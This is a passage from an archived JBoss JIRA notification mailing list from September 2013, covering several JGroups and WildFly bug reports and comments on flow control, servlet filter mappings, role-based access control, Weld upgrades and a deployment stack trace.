>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 06:12:02 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 26 Sep 2013 06:12:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1703) CheckFDMonitor.eval may be
	reversed
In-Reply-To: <JIRA.12501158.1379865036000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501158.1379865036000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501158.1379865036000.1705.1380190322717@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1703?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1703.
----------------------------

    Resolution: Incomplete Description


Please feel free to reopen once you've provided more information
                
> CheckFDMonitor.eval may be reversed
> -----------------------------------
>
>                 Key: JGRP-1703
>                 URL: https://issues.jboss.org/browse/JGRP-1703
>             Project: JGroups
>          Issue Type: Bug
>         Environment: 3.4.0.Alpha2
>            Reporter: shen kim
>            Assignee: Bela Ban
>            Priority: Minor
>             Fix For: 3.4
>
>
> When eval return true, the trigger method will be invoke.
> But the implemention in CheckFDMonitor:
> public boolean eval() {
> return sv.getView() != null && sv.getView().size() > 1 && !fd.isMonitorRunning();
> }
> It may be reversed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 06:20:02 2013
From: jira-events at lists.jboss.org (Nick Howes (JIRA))
Date: Thu, 26 Sep 2013 06:20:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2162) <servlet-name> does not work
 in <filter-mapping>
In-Reply-To: <JIRA.12501598.1380190801124@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501598.1380190801124@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501598.1380190801124.1714.1380190802768@jira02.app.mwc.hst.phx2.redhat.com>

Nick Howes created WFLY-2162:
--------------------------------

             Summary: <servlet-name> does not work in <filter-mapping>
                 Key: WFLY-2162
                 URL: https://issues.jboss.org/browse/WFLY-2162
             Project: WildFly
          Issue Type: Bug
          Components: Web (Undertow)
    Affects Versions: 8.0.0.Alpha4
            Reporter: Nick Howes
            Assignee: Stuart Douglas


I have a filter mapped in web.xml with a <filter-mapping> and a <servlet-mapping> element set to the value of a servlet, but the filter is never run. If I replace the <servlet-mapping> element with <url-pattern>/</url-pattern>, the filter runs, but it also runs for all other servlets.

The servlet and filter in question:

{code:xml}
<servlet>
  <servlet-name>spring</servlet-name>
  <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
  <servlet-name>spring</servlet-name>
  <url-pattern>/</url-pattern>
</servlet-mapping>


<filter>
  <filter-name>filters</filter-name>
  <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
</filter>
<filter-mapping>
  <filter-name>filters</filter-name>
  <servlet-name>spring</servlet-name>
  <!-- <url-pattern>/</url-pattern> -->
</filter-mapping>
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 06:26:02 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 26 Sep 2013 06:26:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2162) <servlet-name> does not work
 in <filter-mapping>
In-Reply-To: <JIRA.12501598.1380190801000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501598.1380190801000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501598.1380190801000.1734.1380191162712@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2162?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807538#comment-12807538 ] 

Tomaz Cerar commented on WFLY-2162:
-----------------------------------

Does mapping  configured as:
{noformat}
<filter-mapping>
  <filter-name>filters</filter-name>
  <servlet-name>spring</servlet-name>
   <url-pattern>/</url-pattern>
</filter-mapping>
{noformat}

work as expected or also not?
                
> <servlet-name> does not work in <filter-mapping>
> ------------------------------------------------
>
>                 Key: WFLY-2162
>                 URL: https://issues.jboss.org/browse/WFLY-2162
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Nick Howes
>            Assignee: Stuart Douglas
>
> I have a filter mapped in web.xml with a <filter-mapping> and a <servlet-mapping> element set to the value of a servlet, but the filter is never run. If I replace the <servlet-mapping> element with <url-pattern>/</url-pattern>, the filter runs, but it also runs for all other servlets.
> The servlet and filter in question:
> {code:xml}
> <servlet>
>   <servlet-name>spring</servlet-name>
>   <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
>   <load-on-startup>1</load-on-startup>
> </servlet>
> <servlet-mapping>
>   <servlet-name>spring</servlet-name>
>   <url-pattern>/</url-pattern>
> </servlet-mapping>
> <filter>
>   <filter-name>filters</filter-name>
>   <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
> </filter>
> <filter-mapping>
>   <filter-name>filters</filter-name>
>   <servlet-name>spring</servlet-name>
>   <!-- <url-pattern>/</url-pattern> -->
> </filter-mapping>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 06:41:02 2013
From: jira-events at lists.jboss.org (Nick Howes (JIRA))
Date: Thu, 26 Sep 2013 06:41:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2162) <servlet-name> does not work
 in <filter-mapping>
In-Reply-To: <JIRA.12501598.1380190801000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501598.1380190801000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501598.1380190801000.1757.1380192062881@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2162?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807541#comment-12807541 ] 

Nick Howes commented on WFLY-2162:
----------------------------------

That seems to work okay... although having tested a bit further, the {{url-pattern}} on its own appears to work okay for us too. So I think using url-pattern might be an acceptable workaround for us because of the special behaviour of the '/' mapping and the fact that we 're applying the filters to the default servlet. But it's probably continuing to ignore the servlet-name element. servlet-name on its own has worked for us in JBoss 5 (which we use mostly at the moment).
                
> <servlet-name> does not work in <filter-mapping>
> ------------------------------------------------
>
>                 Key: WFLY-2162
>                 URL: https://issues.jboss.org/browse/WFLY-2162
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Nick Howes
>            Assignee: Stuart Douglas
>
> I have a filter mapped in web.xml with a <filter-mapping> and a <servlet-mapping> element set to the value of a servlet, but the filter is never run. If I replace the <servlet-mapping> element with <url-pattern>/</url-pattern>, the filter runs, but it also runs for all other servlets.
> The servlet and filter in question:
> {code:xml}
> <servlet>
>   <servlet-name>spring</servlet-name>
>   <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
>   <load-on-startup>1</load-on-startup>
> </servlet>
> <servlet-mapping>
>   <servlet-name>spring</servlet-name>
>   <url-pattern>/</url-pattern>
> </servlet-mapping>
> <filter>
>   <filter-name>filters</filter-name>
>   <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
> </filter>
> <filter-mapping>
>   <filter-name>filters</filter-name>
>   <servlet-name>spring</servlet-name>
>   <!-- <url-pattern>/</url-pattern> -->
> </filter-mapping>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 06:41:02 2013
From: jira-events at lists.jboss.org (Nick Howes (JIRA))
Date: Thu, 26 Sep 2013 06:41:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2162) <servlet-name> does not work
 in <filter-mapping>
In-Reply-To: <JIRA.12501598.1380190801000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501598.1380190801000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501598.1380190801000.1759.1380192062977@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2162?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807542#comment-12807542 ] 

Nick Howes commented on WFLY-2162:
----------------------------------

Also I just noticed the separate UNDERTOW project which maybe this should have been created in - sorry
                
> <servlet-name> does not work in <filter-mapping>
> ------------------------------------------------
>
>                 Key: WFLY-2162
>                 URL: https://issues.jboss.org/browse/WFLY-2162
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Nick Howes
>            Assignee: Stuart Douglas
>
> I have a filter mapped in web.xml with a <filter-mapping> and a <servlet-mapping> element set to the value of a servlet, but the filter is never run. If I replace the <servlet-mapping> element with <url-pattern>/</url-pattern>, the filter runs, but it also runs for all other servlets.
> The servlet and filter in question:
> {code:xml}
> <servlet>
>   <servlet-name>spring</servlet-name>
>   <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
>   <load-on-startup>1</load-on-startup>
> </servlet>
> <servlet-mapping>
>   <servlet-name>spring</servlet-name>
>   <url-pattern>/</url-pattern>
> </servlet-mapping>
> <filter>
>   <filter-name>filters</filter-name>
>   <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
> </filter>
> <filter-mapping>
>   <filter-name>filters</filter-name>
>   <servlet-name>spring</servlet-name>
>   <!-- <url-pattern>/</url-pattern> -->
> </filter-mapping>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 06:49:02 2013
From: jira-events at lists.jboss.org (Nick Howes (JIRA))
Date: Thu, 26 Sep 2013 06:49:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2162) <servlet-name> does not work
 in <filter-mapping>
In-Reply-To: <JIRA.12501598.1380190801000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501598.1380190801000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501598.1380190801000.1774.1380192542844@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2162?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Nick Howes updated WFLY-2162:
-----------------------------

    Description: 
I have a filter mapped in web.xml with a <filter-mapping> and a <servlet-mapping> element set to the value of a servlet, but the filter is never run. If I replace the <servlet-mapping> element with <url-pattern>/</url-pattern>, the filter runs, -but it also runs for all other servlets- (in our case using the / pattern to denote default servlet  it works okay but if a wildcard pattern were required then it wouldn't be equivalent).

The servlet and filter in question:

{code:xml}
<servlet>
  <servlet-name>spring</servlet-name>
  <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
  <servlet-name>spring</servlet-name>
  <url-pattern>/</url-pattern>
</servlet-mapping>


<filter>
  <filter-name>filters</filter-name>
  <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
</filter>
<filter-mapping>
  <filter-name>filters</filter-name>
  <servlet-name>spring</servlet-name>
  <!-- <url-pattern>/</url-pattern> -->
</filter-mapping>
{code}

  was:
I have a filter mapped in web.xml with a <filter-mapping> and a <servlet-mapping> element set to the value of a servlet, but the filter is never run. If I replace the <servlet-mapping> element with <url-pattern>/</url-pattern>, the filter runs, but it also runs for all other servlets.

The servlet and filter in question:

{code:xml}
<servlet>
  <servlet-name>spring</servlet-name>
  <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
  <servlet-name>spring</servlet-name>
  <url-pattern>/</url-pattern>
</servlet-mapping>


<filter>
  <filter-name>filters</filter-name>
  <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
</filter>
<filter-mapping>
  <filter-name>filters</filter-name>
  <servlet-name>spring</servlet-name>
  <!-- <url-pattern>/</url-pattern> -->
</filter-mapping>
{code}


    
> <servlet-name> does not work in <filter-mapping>
> ------------------------------------------------
>
>                 Key: WFLY-2162
>                 URL: https://issues.jboss.org/browse/WFLY-2162
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Nick Howes
>            Assignee: Stuart Douglas
>
> I have a filter mapped in web.xml with a <filter-mapping> and a <servlet-mapping> element set to the value of a servlet, but the filter is never run. If I replace the <servlet-mapping> element with <url-pattern>/</url-pattern>, the filter runs, -but it also runs for all other servlets- (in our case using the / pattern to denote default servlet  it works okay but if a wildcard pattern were required then it wouldn't be equivalent).
> The servlet and filter in question:
> {code:xml}
> <servlet>
>   <servlet-name>spring</servlet-name>
>   <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
>   <load-on-startup>1</load-on-startup>
> </servlet>
> <servlet-mapping>
>   <servlet-name>spring</servlet-name>
>   <url-pattern>/</url-pattern>
> </servlet-mapping>
> <filter>
>   <filter-name>filters</filter-name>
>   <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
> </filter>
> <filter-mapping>
>   <filter-name>filters</filter-name>
>   <servlet-name>spring</servlet-name>
>   <!-- <url-pattern>/</url-pattern> -->
> </filter-mapping>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 06:51:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 06:51:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.1788.1380192662876@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807545#comment-12807545 ] 

RH Bugzilla Integration commented on WFLY-2139:
-----------------------------------------------

Rostislav Svoboda <rsvoboda at redhat.com> made a comment on [bug 1011994|https://bugzilla.redhat.com/show_bug.cgi?id=1011994]

Hi, we think it's Beta Blocker too. We hit this problem with WebConsole experiments on ER3 build.
                
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 07:07:02 2013
From: jira-events at lists.jboss.org (Jozef Hartinger (JIRA))
Date: Thu, 26 Sep 2013 07:07:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2163) Upgrade Weld to 2.1.0.CR1
In-Reply-To: <JIRA.12501605.1380193567551@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501605.1380193567551@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501605.1380193567551.1815.1380193622557@jira02.app.mwc.hst.phx2.redhat.com>

Jozef Hartinger created WFLY-2163:
-------------------------------------

             Summary: Upgrade Weld to 2.1.0.CR1
                 Key: WFLY-2163
                 URL: https://issues.jboss.org/browse/WFLY-2163
             Project: WildFly
          Issue Type: Task
          Components: CDI / Weld
            Reporter: Jozef Hartinger
            Assignee: Jozef Hartinger
             Fix For: 8.0.0.Beta1


Besides bumping the Weld version the weld subsystem should be slightly modified to configure Weld's dispatcher ignores

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 07:11:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 26 Sep 2013 07:11:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2131) read-operation-names to
 return a filtered list of allowed operations
In-Reply-To: <JIRA.12501207.1379945777000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501207.1379945777000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501207.1379945777000.1818.1380193862564@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2131?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807550#comment-12807550 ] 

Kabir Khan commented on WFLY-2131:
----------------------------------

As mentioned on https://github.com/wildfly/wildfly/pull/5147:

This simply strips out the operations which are not valid for the current user.
I have not done, and don't know if the following are necessary:
1) Make the stripping out configurable, e.g. by adding a parameter to the operation
2) Include the stripped out operation names in an operation header (vaguely similar to what read-resource does for non readable resources)
                
> read-operation-names to return a filtered list of allowed operations
> --------------------------------------------------------------------
>
>                 Key: WFLY-2131
>                 URL: https://issues.jboss.org/browse/WFLY-2131
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Alexey Loubyansky
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> As discussed on IRC with Kabir, Heiko and me, we agreed that read-operation-names should return only the operations the caller is permitted to execute.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 07:41:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 07:41:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.1858.1380195662813@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807558#comment-12807558 ] 

RH Bugzilla Integration commented on WFLY-2049:
-----------------------------------------------

Jakub Cechacek <jcechace at redhat.com> changed the Status of [bug 1010662|https://bugzilla.redhat.com/show_bug.cgi?id=1010662] from ON_QA to VERIFIED
                
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 07:41:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 26 Sep 2013 07:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.1863.1380195663038@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807559#comment-12807559 ] 

RH Bugzilla Integration commented on WFLY-2049:
-----------------------------------------------

Jakub Cechacek <jcechace at redhat.com> made a comment on [bug 1010662|https://bugzilla.redhat.com/show_bug.cgi?id=1010662]

verified for 6.2.0.ER3.

Single browser scenario - verified
concurrent logins (as different role) in multiple browsers - verified
                
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 07:41:03 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Thu, 26 Sep 2013 07:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2164) EE subsystem config to define
 if EE naming contexts are modifiable by EE components
In-Reply-To: <JIRA.12501609.1380195647848@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501609.1380195647848@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501609.1380195647848.1864.1380195663116@jira02.app.mwc.hst.phx2.redhat.com>

Eduardo Martins created WFLY-2164:
-------------------------------------

             Summary: EE subsystem config to define if EE naming contexts are modifiable by EE components
                 Key: WFLY-2164
                 URL: https://issues.jboss.org/browse/WFLY-2164
             Project: WildFly
          Issue Type: Feature Request
          Components: EE, Naming
            Reporter: Eduardo Martins
            Assignee: Eduardo Martins


Wildfly allows EE components to modify their naming environment (and every other naming context too), and such behaviour may be undesirable, thus the EE subsystem configuration should include an attribute to globally turn on or off such functionality.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 08:16:03 2013
From: jira-events at lists.jboss.org (Alexey Loubyansky (JIRA))
Date: Thu, 26 Sep 2013 08:16:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2131) read-operation-names to
 return a filtered list of allowed operations
In-Reply-To: <JIRA.12501207.1379945777000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501207.1379945777000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501207.1379945777000.1914.1380197763363@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2131?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807571#comment-12807571 ] 

Alexey Loubyansky commented on WFLY-2131:
-----------------------------------------

This, probably, needs to be discussed. There has to be a reason to have that feature. I personally don't see it so far. It's basically to give user an option to see what can be done but he/she is not allowed to.
                
> read-operation-names to return a filtered list of allowed operations
> --------------------------------------------------------------------
>
>                 Key: WFLY-2131
>                 URL: https://issues.jboss.org/browse/WFLY-2131
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Alexey Loubyansky
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> As discussed on IRC with Kabir, Heiko and me, we agreed that read-operation-names should return only the operations the caller is permitted to execute.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 26 08:42:02 2013
From: jira-events at lists.jboss.org (Jozef Hartinger (JIRA))
Date: Thu, 26 Sep 2013 08:42:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2165) Error Weld when starting
 WildFly 8 with Spring 3 - NullPointerException
In-Reply-To: <JIRA.12499612.1377777774000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499612.1377777774000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499612.1377777774000.1984.1380199322882@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2165?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jozef Hartinger moved WELD-1489 to WFLY-2165:
---------------------------------------------

              Project: WildFly  (was: Weld)
                  Key: WFLY-2165  (was: WELD-1489)
    Affects Version/s:     (was: 2.0.3.Final)
          Component/s: CDI / Weld
                           (was: WildFly integration)
        Fix Version/s: 8.0.0.CR1
                           (was: 2.1.0.CR1)

    
> Error Weld when starting WildFly 8 with Spring 3 - NullPointerException
> -----------------------------------------------------------------------
>
>                 Key: WFLY-2165
>                 URL: https://issues.jboss.org/browse/WFLY-2165
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>            Reporter: Raul Abreu Leite
>            Assignee: Matus Abaffy
>             Fix For: 8.0.0.CR1
>
>
> When I update my application, from Jboss-as 7.1.1.Final to Wildfly 8.0.0.Alpha4, there was an error that I can not fix.
> {code:java}
> 19:57:20,955 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."cineserver.war".component."org.springframework.web.context.request.async.StandardServletAsyncWebRequest".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."cineserver.war".component."org.springframework.web.context.request.async.StandardServletAsyncWebRequest".WeldInstantiator: Failed to start service
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>     at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> Caused by: java.lang.NullPointerException
>     at org.jboss.weld.injection.InjectionPointFactory.getParameterInjectionPoints(InjectionPointFactory.java:245)
>     at org.jboss.weld.injection.AbstractCallableInjectionPoint.<init>(AbstractCallableInjectionPoint.java:49)
>     at org.jboss.weld.injection.ConstructorInjectionPoint.<init>(ConstructorInjectionPoint.java:59)
>     at org.jboss.weld.injection.InjectionPointFactory.createConstructorInjectionPoint(InjectionPointFactory.java:173)
>     at org.jboss.weld.injection.producer.DefaultInstantiator.<init>(DefaultInstantiator.java:46)
>     at org.jboss.weld.injection.producer.BasicInjectionTarget.initInstantiator(BasicInjectionTarget.java:144)
>     at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:72)
>     at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
>     at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
>     at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>     ... 3 more
